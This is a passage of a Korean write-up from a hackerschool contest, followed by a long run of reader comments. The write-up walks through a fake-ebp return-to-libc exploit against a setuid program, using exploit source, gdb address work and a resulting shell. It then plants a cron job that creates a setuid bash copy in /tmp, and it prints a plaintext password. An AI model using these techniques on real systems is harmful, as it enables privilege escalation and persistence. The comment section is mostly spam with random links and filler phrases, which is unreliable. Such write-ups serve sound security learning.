 0     4    8    12    16    18                          argv[0]argv[1]

[buf ][ebp ][ret ][argc][argv][envp]..[argv0][argv1][NULL]["sh"][123456789012]

 ----  yyyy  xxxx                        |                  ^    ----yyyyxxxx

             (ret != 0xbfxxxxxx)         +------------------+

                                      

       mov ebp, esp

       pop ebp           ; ebp = faked ebp = &argv[0] - 8

 +---- ret

 |

 |  execl:

 |      0x420b4e54 <execl>:    push   %ebp

 |      0x420b4e55 <execl+1>:  mov    %esp,%ebp

 +----> 0x420b4e57 <execl+3>:  push   %edi       

        0x420b4e58 <execl+4>:  push   %esi

        0x420b4e59 <execl+5>:  push   %ebx

        0x420b4e5a <execl+6>:  sub    $0x101c,%esp

 

위 설정은 main() 함수가 리턴할 때, execl("./s", argv[1], NULL)을 실행하게

만든다.

 

execl() 함수 호출은 main() 함수의 리턴주소 부분을 수정하여 해결한다.

 

execl()의 매개변수 "./s"는 hakme3의 프로그램 매개변수 argv[0]에 설정하여

해결한다.

 

execl()이 호출될 때 다음과 같이 스택 프레임이 형성되도록 해야하는데,

 

   ebp + 16: execl()의 세번째 매개변수: NULL

   ebp + 12: execl()의 두번째 매개변수: argv[1]

   ebp +  8: execl()의 첫번째 매개변수: argv[0] --> "./s"

 

main()함수의 saved ebp를 &argv[0] - 8로 바꾸고,

main()함수의 리턴주소를 execl() + 3 위치로 바꾸어 해결한다.

 

main()함수는 리턴할 때, saved ebp를 ebp에 저장한 후 리턴한다.

 

   mov ebp, esp

   pop ebp         <--- 이때 ebp 레지스터를 원하는 위치를 가리키도록 만든다.

   ret

 

execl()의 처음 두 코드는 ebp 레지스터를 초기화하는 것인데,

 

   execl() + 1: push ebp

   execl() + 2: mov  esp, ebp

 

이 코드가 실행되지 않게 execl() + 3 주소로 점프하도록 하여

ebp가 우리가 원하는 위치를 가리키도록 만든다.

 

o 공격 코드

--------------------------------------------------------------------------------

[guru2@attack2 loafers]$ cat attack-hackme3.c

#include <unistd.h>

 

int main()

{

 char *path = "/home/guru3/hackme3";

 char *argv[] = { "./s", "AAAA\x3c\xff\xff\xbf\x57\x4e\x0b\x42", 0 };

 execve(path, argv, 0);

 return 0;

}

 

[guru2@attack2 loafers]$ gcc -o attack-hackme3 attack-hackme3.c

 

 

[guru2@attack2 loafers]$ cat s.c

main()

{

        setreuid(geteuid(),geteuid());

        setregid(getegid(),getegid());

        execl("/bin/bash", "sh", 0);

}

[guru2@attack2 loafers]$ gcc -o s s.c

 

o execl()의 주소, argv[0]의 주소 계산

 

[guru2@attack2 loafers]$ gdb attack-hackme3

GNU gdb Red Hat Linux (5.1.90CVS-5)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) run

Starting program: /home/guru3/tmp/loafers/attack-hackme3

 

Program received signal SIGTRAP, Trace/breakpoint trap.

0x40000b50 in _start () from /lib/ld-linux.so.2

(gdb) symbol-file /home/guru3/hackme3

Load new symbol table from "/home/guru3/hackme3"? (y or n) y

 

Reading symbols from /home/guru3/hackme3...done.

(gdb) break main

Breakpoint 1 at 0x8048536

(gdb) cont

Continuing.

 

Breakpoint 1, 0x08048536 in main ()

 

(gdb) print execl

$1 = {<text variable, no debug info>} 0x420b4e54 <execl>

 

(gdb) disassemble execl

Dump of assembler code for function execl:

0x420b4e54 <execl>:     push   %ebp

0x420b4e55 <execl+1>:   mov    %esp,%ebp

0x420b4e57 <execl+3>:   push   %edi        <---- 리턴 후 점프할 위치

0x420b4e58 <execl+4>:   push   %esi

0x420b4e59 <execl+5>:   push   %ebx

0x420b4e5a <execl+6>:   sub    $0x101c,%esp

0x420b4e60 <execl+12>:  call   0x420b4e50 <execle+300>

0x420b4e65 <execl+17>:  add    $0x7b4a7,%ebx

0x420b4e6b <execl+23>:  mov    0xc(%ebp),%eax

0x420b4e6e <execl+26>:  lea    0x10(%ebp),%edx

0x420b4e71 <execl+29>:  movl   $0x400,0xfffffff0(%ebp)

0x420b4e78 <execl+36>:  mov    %esp,%ecx

0x420b4e7a <execl+38>:  mov    %edx,0xffffffe8(%ebp)

0x420b4e7d <execl+41>:  test   %eax,%eax

0x420b4e7f <execl+43>:  mov    %eax,(%esp,1)

0x420b4e82 <execl+46>:  movl   $0x1,0xffffffec(%ebp)

0x420b4e89 <execl+53>:  je     0x420b4eb5 <execl+97>

0x420b4e8b <execl+55>:  nop

---Type <return> to continue, or q <return> to quit---q

Quit

 

(gdb) x/10wx $ebp

0xbffffed8:  0xbfffff18 0x42017499      0x00000002      0xbfffff44

                                                        ----------

                                                        argv[]의 주소

 

0xbffffee8:  0xbfffff50 0x08048396      0x080486b0      0x00000000

0xbffffef8:  0xbfffff18 0x42017482

 

(gdb) x/10wx 0xbfffff44

0xbfffff44:  0xbfffffd7 0xbfffffdb      0x00000000      0x00000000

             ---------- ----------

             argv[0]    argv[1]

 

0xbfffff54:  0x00000010 0x0183f9ff      0x00000006      0x00001000

0xbfffff64:  0x00000011 0x00000064

 

(gdb) x/s 0xbfffffd7

0xbfffffd7:   "./s"

 

(gdb) x/s 0xbfffffdb

0xbfffffdb:   "AAAA<��풵N\vB"

(gdb) quit

The program is running.  Exit anyway? (y or n) y

 

o 공격

 

계산된 execl()의 주소와 &argv[0] - 8 주소값을 attack-hackme3.c에

정확히 설정한 후 attack-hackme3 실행

 

[guru2@attack2 loafers]$ ./attack-hackme3

sh-2.05a$

 

sh-2.05a$ id

uid=506(guru3) gid=505(guru2) groups=505(guru2)

 

sh-2.05a$ /bin/register

등록 번호를 입력하세요 : #H4SC30267

정보가 성공적으로 기록되었습니다.

sh-2.05a$

 

o guru3 gid 획득

 

guru4 획득을 위한 힌트 파일인 /home/guru3/hint-guru4.txt을 읽기 위해서는

guru3 gid가 필요하다.

 

sh-2.05a$ ls -l /home/guru3/hint-guru4.txt

-rwxr-----    1 root     guru3        2984 Feb  8 07:24

/home/guru3/hint-guru4.txt

 

guru3 사용자의 cron 작업에 guru3 euid와 guru3 egid로 실행되는 bash 쉘을

생성하도록 설정하여 guru3 egid를 획득한다.

 

sh-2.05a$ crontab -e

sh-2.05a$ crontab -l

# DO NOT EDIT THIS FILE - edit the master and reinstall.

# (/tmp/crontab.11047 installed on Wed Feb 12 08:32:07 2003)

# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)

* * * * * cp /bin/bash /tmp/temp/bash;chmod 6770 /tmp/temp/bash

 

sh-2.05a$ ls -l /tmp/temp/bash

-rwsrws---    1 guru3    guru3      541096 Feb 12 08:33 /tmp/temp/bash

 

sh-2.05a$ /tmp/temp/bash -p

bash-2.05a$ id

uid=506(guru3) gid=505(guru2) egid=506(guru3) groups=505(guru2)

 

bash-2.05a$ cat /home/guru3/hint-guru4.txt

guru4 힌트.

 

guru4 에서 root 를 획득할 수 있습니다.

 

/home/guru4 디렉토리 밑에는

 

/home/guru4/ov

/home/guru4/shell

 

위 두개의 파일만 존재합니다.

 

 

ID : guru4

PW : ehghkeh!

 

/etc/chroot

 

SOURCE :

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <errno.h>

 

int b_system(const char *cmdstring)

{

 pid_t pid;

 int status;

 

 if(cmdstring == NULL)

 return(1);

 

 if((pid=fork()) < 0)

 {

 status = -1;

 } else if (pid ==0)

{

printf("%s\n", get_current_dir_name());

execl("/shell", "shell", (char *) 0);

_exit(127);

}

 else {

 while(waitpid(pid, &status, 0) < 0)

 if(errno != EINTR) {

 status=-1;

 break;

}

}

 return (status);

 

}

int main(int argc, char *argv[], char *envp[])

{

 if(chdir("/home/guru4"))

 { printf("chdir error"); }

 if(chroot("/home/guru4"))

 { printf("chroot error"); }

 

setgid(507);

setuid(507);

setegid(507);

seteuid(507);

setregid(507, 507);

setreuid(507, 507);

setfsgid(507);

setfsuid(507);

 

 

printf("Start Shell\n");

b_system("/shell");

}

 

 

/home/guru4/ov

 

SOURCE :

 

#include <stdio.h>

#include <stdlib.h>

void function(char *str)

{

 char buf[4];

 strcpy(buf, str);

}

int main(int argc, char *argv[])

{

 if(argc < 2)

 {

  printf("using argv\n");

  return 0;

 }

 function(argv[1]);

}

 

 

/home/guru4/shell

 

SOURCE :

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <errno.h>

 

int b_system(const char *cmdstring)

{

 pid_t pid;

 int status;

 char *one, *two, *three, *four, *five, *cmds;

 

 cmds=(char *)strtok(cmdstring, " ");

 one=(char *)strtok(NULL, " ");

 two=(char *)strtok(NULL, " ");

 three=(char *)strtok(NULL, " ");

 four=(char *)strtok(NULL, " ");

 five=(char *)strtok(NULL, " ");

 

 if(cmdstring == NULL)

 return(1);

 

 if((pid=fork()) < 0)

 {

 status = -1;

 } else if (pid ==0)

{

execlp(cmds, cmds, one, two, three, four, five, 0);

_exit(127);

}

 else {

 while(waitpid(pid, &status, 0) < 0)

 if(errno != EINTR) {

 status=-1;

 break;

}

}

 return (status);

 

}

 

int main(int argc, char *argv[])

{

 char cmd[1000]={0};

 char realcmd[1000]={0};

 char imsicmd[1000]={0};

 char *move_dir;

 char *one, *two, *three, *four;

 

 int fork1=0, fork2=0;

 

 printf("Hacker$ ");

 for(;;)

 {

  memset(cmd, 0, 1000);

  memset(imsicmd, 0, 1000);

  memset(realcmd, 0, 1000);

  fgets(cmd, 1000, stdin);

  strcpy(imsicmd, cmd);

 

  strtok(imsicmd, "\n ");

 

  if(!strcmp(imsicmd, "exit"))

  {

   return 0;

  }

  else if(!strcmp(imsicmd, "pwd"))

  {

   printf("%s\n", get_current_dir_name());

  }

  else if(!strcmp(imsicmd, "cd"))

  {

   strtok(cmd, " ");

   move_dir=(char *)strtok(NULL, "\n");

   if(chdir(move_dir))

   {

    printf("%s 디렉토리 이동 오류\n", move_dir);

   }

  }

  else if(imsicmd[0]=='\n')

  {

  }

  else

  {

   strtok(cmd, " ");

   one=(char *)strtok(NULL, " ");

   two=(char *)strtok(NULL, " ");

   three=(char *)strtok(NULL, " ");

   four=(char *)strtok(NULL, " ");

 

   sprintf(realcmd, "%s %s %s", cmd, one, two, three, four);

   strtok(realcmd, "\n");

   b_system(realcmd);

  }

  printf("Hacker$ ");

 }

}

 

 

bash-2.05a$

 

 

===========================================================================

8 감사의 글

 

무척 재미있는 문제들이었습니다. 대회를 준비해주신 멍멍님을 비롯한 hackerschool

연구원 여러분께 감사드립니다.

 

secuboy님 미안합니다! ^^:;; 멍멍님이 대회종료시간을 연장하는 바람에 선두가

바뀌게 되었는데 이 점 너무 서운하게 생각하지 말아주세요~

 

level2 setuid bash 쉘을 제게 선물하신(비록 훔쳐서 무임승차한 것이지만)

/tmp/sepi님께도 감사드립니다.

 

마지막으로 이 대회에 참가하신 모든 분들께도 함께하여 즐거웠다는 인사말씀

드립니다.

 

 

 

** 입상자에게 한마디!! **

 

 

wow : 와우~! .
beist : 수고하셨습니다! .
segovia : Good skill!!! 많이 배워갑니다. 감사... .
willow : 유진호선생님 진정한 챔피언이십니다.^^ .
saintrole : 보고서 잘보고 많이 배워갑니다..감사.. .
라면 : 솔직하고 상세한 보고서가 참 보기 좋네요. 방법 또한 정말 훌륭하고... 감사. .
전설의해커 : 언젠 간 다 이해하는 날을 기다리면서 . . . .
Sw : 훌륭한 보고서 도움이 많이 되네요^^ 감사합니다 .
U : 수고하셨어요.. 잘 보고 갑니다... .
푼수왕자 : 와~~ 대단 하십니다. ^^ 많이 배우고 가네요~ ^^ .
진검 : 대단하시네요,... 저는 아직 못알아먹는게 많은데 .
드래곤플라이 : 와~~~멀미날라한다 .
ㅠ_ㅠ : 무슨 말인지 도통 모르겠다 ㅠ_ㅠ . 누가 나좀 가르쳐 줘요 ㅠ_ㅠ .
: .
stillurs : -- 언어공부하다 어떻게해서 함 들어와 봤는데 해킹도 언어와 비슷하게 머리아픈건 사실입니다 -_ㅠ .
: .
secuboy : 그래도 열심히 한거라 수고 하셨습니다.. .
김기태 : 도움이 많이 됐습니다...수고하셨어여..^^ .
맙소상 : 대단하십니다 .
딸기 : 정말 대단하시네요...........담에 한번 같이 해보고 싶군요........ .
: .
: .
정말로 : 대단하십니다... 그리고 수고하셨습니다!!! .
binish : 많이 배워갑니다^^ .
alichi_no : 와 - _ - 어떻게 저런걸 다 . . 배울수 있을까 . . a .
: .
zzzz : 굳입니다 .
怨듦꺽肄붾뱶 : 怨듦꺽肄붾뱶 .
시나 : 으아~~전혀 모르갰다~ .
: .
Mr.g : happy day~ .
어머 : 이걸어떻게 ㅠㅠ .
Mark : 9W0Axb http://www.y7YwKx7Pm6OnyJvolbcwrWdoEnRF29pb.com .
matt : Rq53cJ http://www.FyLitCl7Pf7kjQdDUOLQOuaxTXbj5iNG.com .
Demetrius : Whereabouts are you from? .
Chloe : An envelope .
Elizabeth : Have you got any experience? .
Makayla : I really like swimming .
Micheal : Good crew it's cool :) .
Trevor : We'd like to offer you the job .
Nelson : The manager .
Harlan : Until August .
Kaylee : Where did you go to university? .
Michal : perfect design thanks .
Kerry : I support Manchester United https://gist.github.com/e1a23028 .
Makayla : It's a bad line https://gist.github.com/590a93723ab3df51b891 .
Destiny : I'd like to change some money https://gist.github.com/b4411e .
Nickolas : Will I get travelling expenses? https://gist.github.com/6265 .
Fredrick : I hate shopping https://gist.github.com/a26e6c4e12857251cbeb .
Miguel : Who would I report to? https://gist.github.com/c7aaca0909dfc .
Quentin : Special Delivery https://gist.github.com/a8ff3e42c54965f7c18 .
Horace : We work together https://gist.github.com/4885776b50bbdec1260 .
Antoine : I can't hear you very well https://gist.github.com/89e26a04a .
Johnny : I work for a publishers https://gist.github.com/15f02a9acaca .
August : We went to university together .
Eldridge : I have my own business .
Chloe : I'd like to pay this in, please .
Jocelyn : Will I be paid weekly or monthly? .
Jane : I never went to university .
Brandon : I've been cut off .
Perry : I'd like some euros .
Isreal : A book of First Class stamps .
Micheal : Insert your card .
Dwain : Are you a student? .
Dannie : Could you give me some smaller notes? .
Lamar : Have you got any ? .
Darren : I'm about to run out of credit .
Johnnie : Directory enquiries .
Derrick : Where do you study? .
Nicole : What do you do? .
Barton : Where's the nearest cash machine? .
Federico : I want to report a .
Milan : We've got a joint account .
Corey : How much will it cost to send this letter to ? .
Sierra : Who's calling? .
Liam : Looking for work .
Danielle : A Second Class stamp .
Pierre : The manager .
Melanie : Hello good day .
Dirtbill : Have you got any qualifications? .
Valentin : I'm doing a phd in chemistry .
Harley : My battery's about to run out .
Rodney : I've come to collect a parcel .
Shawn : I love this site .
Santo : i'm fine good work .
Andre : Cool site goodluck :) .
Ambrose : I don't like pubs .
Sandy : A few months .
Duncan : Have you got any qualifications? .
Clifford : Have you got any ? .
Howard : I'm sorry, I didn't catch your name .
Ernesto : It's serious .
Lucky : An estate agents .
Mary : What's your number? .
Garth : Insert your card .
Jesse : We work together .
Bertram : I need to charge up my phone .
Major : It's OK .
Mike : I need to charge up my phone .
Payton : Enter your PIN .
Cooper : How do you know each other? .
Jeffry : Will I get travelling expenses? .
Foster : I came here to work .
Norberto : Have you got a telephone directory? .
Irea : Could you give me some smaller notes? .
Edmund : I want to make a withdrawal .
Stephanie : Will I have to work shifts? .
Edison : What do you like doing in your spare time? .
Tracey : I was born in Australia but grew up in England .
Brain : This is the job description .
Madeline : How much is a Second Class stamp? .
Darryl : What university do you go to? .
Adam : I'm sorry, he's .
Jocelyn : I want to make a withdrawal .
Luis : A First Class stamp .
Clinton : Why did you come to ? .
Tyron : How many days will it take for the cheque to clear? .
Makayla : An envelope .
Irwin : We need someone with qualifications .
Christian : Withdraw cash .
Arnoldo : How much does the job pay? .
Alyssa : Have you got a current driving licence? .
Stuart : Which university are you at? .
Allan : This is your employment contract .
Charles : A packet of envelopes .
Jacques : I'd like to pay this in, please .
Eva : What part of do you come from? .
Frankie : How much were you paid in your last job? .
Dominic : How do you do? .
Basil : Excellent work, Nice Design .
Myles : Have you got a telephone directory? .
Nolan : Could I have , please? .
Alex : I'd like to pay this in, please .
Payton : Incorrect PIN .
Ramon : I'm unemployed .
Unlove : Can you hear me OK? .
Serenity : A few months .
Leonel : What sort of music do you listen to? .
Dario : I've been cut off .
Rodolfo : I live here .
Cooler111 : I'd like to cancel a cheque .
Jeffrey : How long have you lived here? .
Eli : I want to report a .
Darnell : This is the job description .
Roger : Could I have , please? .
Leigh : Sorry, I ran out of credit .
Dylan : I can't hear you very well .
Andre : Not available at the moment .
Nicolas : I'd like to withdraw $100, please .
Peyton : I'm sorry, I didn't catch your name .
Makayla : I've just started at .
Emery : Which university are you at? .
Bonser : Do you know each other? .
German : I like watching TV .
Williams : I'm a trainee .
Elizabeth : I'll put her on .
Timothy : Have you seen any good films recently? .
Grady : Do you have any exams coming up? .
Christian : I'd like , please .
Leopoldo : A Second Class stamp .
Carson : How much is a First Class stamp? .
Marlon : This is the job description .
Lorenzo : I'd like to pay this cheque in, please .
Carlos : I went to .
Percy : Whereabouts in are you from? .
Virgil : This site is crazy :) .
Cecil : I'm a partner in .
Florentino : Can you hear me OK? .
Fletcher : Can you put it on the scales, please? .
Stacey : How much were you paid in your last job? .
Chester : This site is crazy :) .
Marlin : The manager .
Leonard : I came here to work .
Bryce : Have you read any good books lately? .
Christophe : How do I get an outside line? .
Amber : Where's the postbox? .
Mitchel : Very Good Site .
Caroline : What sort of music do you listen to? .
Randy : Could you ask her to call me? .
Keith : Some First Class stamps .
Seymour : What sort of music do you like? .
Arnoldo : Could I have an application form? .
Duane : Pleased to meet you .
Lanny : I'd like some euros .
Lucius : International directory enquiries .
Dannie : Jonny was here .
Dustin : We're at university together .
Lily : Will I get paid for overtime? .
Benny : Good crew it's cool :) .
Luis : Will I be paid weekly or monthly? .
Ernie : A few months .
Tyrone : Through friends .
Chong : An envelope .
Teodoro : What's your number? .
Billie : I want to make a withdrawal .
Franklyn : About a year .
Sebastian : I'm sorry, I didn't catch your name .
Ernesto : I've lost my bank card .
Mackenzie : I quite like cooking .
Bobbie : I'm afraid that number's ex-directory .
Santiago : Until August .
Eusebio : I've got a part-time job .
Lanny : Why did you come to ? .
Clyde : Hold the line, please .
Madeline : Where are you from? .
Brice : I work for a publishers .
Stanford : What university do you go to? .
Lioncool : I'll put her on .
Brooke : Could I have a statement, please? .
Danny : I'll call back later .
Reyes : How do you do? .
Mitch : I like it a lot .
Leonardo : I'd like to change some money .
Lenard : Looking for work .
Merle : good material thanks .
Barrett : I've got a full-time job .
Willard : Have you got any ? .
Robbie : real beauty page .
Tommie : Do you like it here? .
Carol : Will I be paid weekly or monthly? .
Lucius : How many weeks' holiday a year are there? .
Jeromy : Please wait .
Granville : A First Class stamp .
Mohammad : Is there ? .
Nelson : An estate agents .
Ahmed : I work for a publishers .
Emory : I'm at Liverpool University .
Maynard : Could I order a new chequebook, please? .
Roman : Is it convenient to talk at the moment? .
Barrett : Which year are you in? .
Emmett : How long are you planning to stay here? .
Arturo : Which university are you at? .
Rupert : I want to report a .
Warner : Cool site goodluck :) .
Antione : I'd like to apply for this job .
Mitch : I'm doing a masters in law .
Nathan : I'm self-employed .
Eddie : Could you give me some smaller notes? .
Maurice : I'll put him on .
Claud : Could I borrow your phone, please? .
Silas : I read a lot .
Moises : How long have you lived here? .
Emmett : I wanted to live abroad .
Edwardo : Which year are you in? .
Werner : I'd like to open an account .
Clifford : I've only just arrived .
Justin : We work together .
Basil : A law firm .
Jerrell : I'm in a band .
Payton : Will I be paid weekly or monthly? .
Deangelo : I'm not sure .
Williams : We'd like to offer you the job .
Jane : I'd like to change some money .
Lucien : I've been cut off .
Getjoy : Jonny was here .
Andrew : Good crew it's cool :) .
Unlove : I live in London .
Flyman : I didn't go to university .
Freddie : real beauty page .
Lauren : I read a lot .
Dusty : I've got a part-time job .
Darell : I enjoy travelling .
Anna : The line's engaged .
Clarence : Whereabouts in are you from? .
Kyle : A company car .
Tyler : How many would you like? .
Franklyn : Do you know each other? .
Murray : How would you like the money? .
Carrol : An envelope .
Brant : Where's the nearest cash machine? .
Basil : Very Good Site .
Jarvis : real beauty page .
Cristobal : Very interesting tale .
Rubin : Do you know the number for ? .
Nigel : Go travelling .
Brain : I'd like to take the job .
Carmine : I'm at Liverpool University .
Sara : I like it a lot .
Bradly : Can I call you back? .
Carmelo : A law firm .
Barrett : We were at school together .
Rocco : I've lost my bank card .
Ricky : Which university are you at? .
Geoffrey : Special Delivery .
Alton : Looking for work .
Rueben : We used to work together .
Bruno : I'm sorry, he's .
Irving : I'm about to run out of credit .
Jasmine : We need someone with experience .
Rosario : I enjoy travelling .
Reyes : I work with computers .
Michal : When can you start? .
Rikky : I don't know what I want to do after university .
Millard : Not in at the moment .
Richie : In a meeting .
Roland : Withdraw cash .
Lenard : It's a bad line .
Sherman : Hello good day .
Alyssa : good material thanks .
Felipe : I'll send you a text .
Graham : I live in London .
Freddy : Can you hear me OK? .
Addison : Wonderfull great site .
Roosevelt : Get a job .
Taylor : Whereabouts are you from? .
Jeffery : What sort of work do you do? .
Mya : We're at university together .
Claire : I'm only getting an answering machine .
Jarod : A staff restaurant .
Dexter : I want to make a withdrawal .
Dustin : I'd like to pay this cheque in, please .
Garland : Yes, I love it! .
Darron : A company car .
Behappy : The National Gallery .
Garry : Will I have to work shifts? .
Edwin : good material thanks .
Archie : Could you please repeat that? .
Rodrigo : I can't get through at the moment .
Irvin : Insert your card .
Kirby : very best job .
Wesley : It's funny goodluck .
Nigel : About a year .
Rusty : Have you got a telephone directory? .
Maya : Is it convenient to talk at the moment? .
Coco888 : Could you transfer $1000 from my current account to my depos .
Clarence : Could you give me some smaller notes? .
Normand : I've been cut off .
Melanie : Will I get paid for overtime? .
Kieth : I'd like to pay this cheque in, please .
Caleb : Could I have a statement, please? .
Rigoberto : I live here .
Malcolm : Do you have any exams coming up? .
Morton : How do you know each other? .
Willis : When can you start? .
Elton : I really like swimming .
John : Why did you come to ? .
Trent : I'm happy very good site .
Megan : I came here to study .
Kelvin : Have you read any good books lately? .
Leigh : We're at university together .
Lonny : It's a bad line .
Crazyfrog : I'd like to cancel this standing order .
Mauricio : i'm fine good work .
Michelle : I'll call back later .
Waldo : I'd like to send this letter by .
Errol : The National Gallery .
Eli : We went to university together .
Marlin : An accountancy practice .
Steep777 : I'm about to run out of credit .
Sophie : History .
Porfirio : Good crew it's cool :) .
Flyman : I can't get a dialling tone .
Billie : I work with computers .
Mia : Will I get travelling expenses? .
Armando : Can I take your number? .
Booker : Could you tell me the number for ? .
Caroline : US dollars .
Colton : We used to work together .
Logan : How do I get an outside line? .
Trent : I hate shopping .
Laurence : Hold the line, please .
Abram : I enjoy travelling .
Bailey : How do I get an outside line? .
Forrest : Who would I report to? .
Brooklyn : I'll put him on .
Seth : I love the theatre .
Nathaniel : Where did you go to university? .
Myron : In tens, please (ten pound notes) .
Ashton : I need to charge up my phone .
Gaston : Will I have to work shifts? .
Grant : The manager .
Logan : Will I get travelling expenses? .
Eddie : I'm doing an internship .
German : I've got a very weak signal .
Maximo : Would you like to leave a message? .
Arianna : Very Good Site .
Timothy : Another service? .
Thurman : The manager .
Stanford : A packet of envelopes .
Sebastian : How do you know each other? .
Dominic : Have you seen any good films recently? .
Lazaro : What company are you calling from? .
Gayle : I'm interested in .
Hiram : I want to make a withdrawal .
Mariano : When can you start? .
Sean : Wonderfull great site .
Dalton : I live in London .
Lamont : I'd like to tell you about a change of address .
Derick : What's the current interest rate for personal loans? .
Clarence : Is it convenient to talk at the moment? .
Freelove : Who's calling? .
Irea : Very Good Site .
Monte : Could you send me an application form? .
Darnell : An accountancy practice .
Mason : Canada>Canada .
Bertram : This is your employment contract .
Lamont : Which year are you in? .
Lanny : i'm fine good work .
Elbert : An estate agents .
Sterling : Can I call you back? .
Dewitt : A packet of envelopes .
Rikky : Through friends .
Emmanuel : Gloomy tales .
Carter : A staff restaurant .
Gilberto : I'm interested in .
Jessie : It's OK .
Geoffrey : Will I get paid for overtime? .
Gerard : I'm doing an internship .
Flyman : Yes, I love it! .
Gabriel : Whereabouts are you from? .
Geraldo : A book of First Class stamps .
Rikky : What's your number? .
Luther : I really like swimming .
Hollis : I'm a partner in .
Isidro : In a meeting .
Giovanni : An accountancy practice .
Lonnie : Go travelling .
Theodore : The line's engaged .
Clifton : We need someone with experience .
Danial : I don't know what I want to do after university .
Rodrick : I want to report a .
Perry : Who's calling? .
Jeremiah : I'm a partner in .
Jozef : It's a bad line .
Cooler111 : I quite like cooking .
Arlen : Not in at the moment .
Carson : Have you got any experience? .
Waylon : On another call .
Devin : Free medical insurance .
Damian : International directory enquiries .
Allan : A staff restaurant .
Greenwood : We'd like to invite you for an interview .
Emmanuel : Best Site good looking .
Ahmed : I'll send you a text .
Millard : Who do you work for? .
Infest : I'll put him on .
Julius : Could you please repeat that? .
Marcellus : How do I get an outside line? .
Tobias : I'm in my first year at university .
Raymon : I went to .
Colby : It's funny goodluck .
Jose : I've lost my bank card .
Theron : I'd like to transfer some money to this account .
Moshe : We'd like to offer you the job .
Terrence : Would you like a receipt? .
Elisha : I'd like to transfer some money to this account .
Major : This is the job description .
Patric : We need someone with experience .
Andreas : I'm doing an internship .
Jeremiah : Accountant supermarket manager .
Julio : The United States .
Rupert : I'm unemployed .
Vanessa : How do I get an outside line? .
Darron : Go travelling .
Liam : I'm originally from Dublin but now live in Edinburgh .
Santos : I'm not interested in football .
Scotty : Could you tell me my balance, please? .
Rolando : What do you study? .
Houston : Other amount .
Issac : What sort of music do you listen to? .
Jospeh : I'm a partner in .
Margarito : I'm sorry, she's .
Leopoldo : Your cash is being counted .
Derick : I'd like to pay this in, please .
Antonia : Do you like it here? .
Xavier : Insert your card .
Booker : I'm doing a masters in law .
Brody : Where do you study? .
Victoria : Can you hear me OK? .
Tanner : Could you please repeat that? .
Jozef : I've got a very weak signal .
Ernest : How much is a Second Class stamp? .
Monty : Sorry, I ran out of credit .
Andres : Some First Class stamps .
Frederick : I'd like to pay this in, please .
Edmundo : I'm a member of a gym .
Khloe : We'd like to invite you for an interview .
Charles : I was born in Australia but grew up in England .
Chuck : I'd like to take the job .
Malcom : Where are you calling from? .
Bernardo : Not available at the moment .
Gianna : Best Site Good Work .
Payton : I do some voluntary work .
Blair : I've been made redundant .
Raymond : I never went to university .
Moshe : I'm training to be an engineer .
Jimmie : I'm sorry, I didn't catch your name .
Diana : Do you know the number for ? .
Daryl : Could I make an appointment to see ? .
Parker : A pension scheme .
Woodrow : I love the theatre .
Walter : What's the last date I can post this to to arrive in time f .
Lonnie : Where are you calling from? .
Laverne : I'd like to cancel this standing order .
Arnold : It's funny goodluck .
Julio : How much is a First Class stamp? .
Lillian : I'm on work experience .
Colby : Could you tell me my balance, please? .
Demetrius : Some First Class stamps .
Quintin : I'm self-employed .
Darius : Can you hear me OK? .
Frederic : We need someone with qualifications .
Makayla : What company are you calling from? .
Barney : It's OK .
Chuck : I'd like to pay this in, please .
Gonzalo : We'll need to take up references .
Roscoe : I'd like to take the job .
Louie : Will I have to work shifts? .
Thomas : Until August .
Carol : Your cash is being counted .
Alexander : Can I call you back? .
Newton : I came here to work .
Orville : Could I take your name and number, please? .
Micah : Do you play any instruments? .
Shelby : I work with computers .
Reggie : I'm happy very good site .
Goodboy : Insert your card .
Leopoldo : Do you like it here? .
Reynaldo : I'd like to send this letter by .
Hosea : The line's engaged .
Arianna : I've got a very weak signal .
Edmund : How long are you planning to stay here? .
Bruce : I don't like pubs .
Isaac : I went to .
Malik : I live in London .
Felton : How much were you paid in your last job? .
Issac : I'm retired .
Adrian : I want to report a .
Eliseo : How much is a First Class stamp? .
Garry : Could you tell me my balance, please? .
Malik : I'm interested in this position .
Tommy : How would you like the money? .
Young : How would you like the money? .
Fredrick : I'm self-employed .
Kevin : Did you go to university? .
Napoleon : This is your employment contract .
Warren : I read a lot .
Fausto : What do you want to do when you've finished? .
Leonel : Sorry, you must have the wrong number .
Zachery : Who's calling? .
Filiberto : We were at school together .
Lorenzo : Do you like it here? .
Cedric : magic story very thanks .
Gavin : Free medical insurance .
Cody : Where's the nearest cash machine? .
Graig : What company are you calling from? .
David : I've just started at .
Ariel : I'm in my first year at university .
Johnson : Is this a temporary or permanent position? .
Harley : I really like swimming .
Luigi : We need someone with qualifications .
George : Do you like it here? .
Fletcher : Do you have any exams coming up? .
Barney : I'm not working at the moment .
Rupert : I'm in my first year at university .
Abigail : I want to report a .
Rachel : US dollars .
Linwood : Best Site Good Work .
Grace : Have you got a current driving licence? .
Darin : I work with computers .
Danilo : I can't get through at the moment .
Antony : I was made redundant two months ago .
Lightsoul : What company are you calling from? .
Clement : I stay at home and look after the children .
Marion : Who would I report to? .
Odell : I like watching football .
Derrick : Have you got any experience? .
Ian : I live here .
Arron : Looking for a job .
Hailey : I've just graduated .
Janni : Will I have to work on Saturdays? .
Jerry : What university do you go to? .
Fritz : Jonny was here .
Solomon : I quite like cooking .
Deandre : I've been made redundant .
Lifestile : What part of do you come from? .
Harland : What do you study? .
Wilbur : I'll send you a text .
Jamey : How much is a Second Class stamp? .
Emery : We're at university together .
Millard : How do you spell that? .
Arnold : Are you a student? .
Irea : No, I'm not particularly sporty .
Darryl : Where's the nearest cash machine? .
Chance : How many are there in a book? .
Renato : Who's calling? .
Kendall : I'm on business .
Garth : I've been made redundant .
Lucius : Sorry, you must have the wrong number .
Alfredo : How do I get an outside line? .
Aurelio : I love the theatre .
Ramon : I stay at home and look after the children .
Darwin : I'm in a band .
Norman : A staff restaurant .
Vernon : How do you spell that? .
Travis : I'm unemployed .
Wilber : I'm on a course at the moment .
Katelyn : I'm about to run out of credit .
Maxwell : Three years .
Nevaeh : I love the theatre .
Mitchell : We've got a joint account .
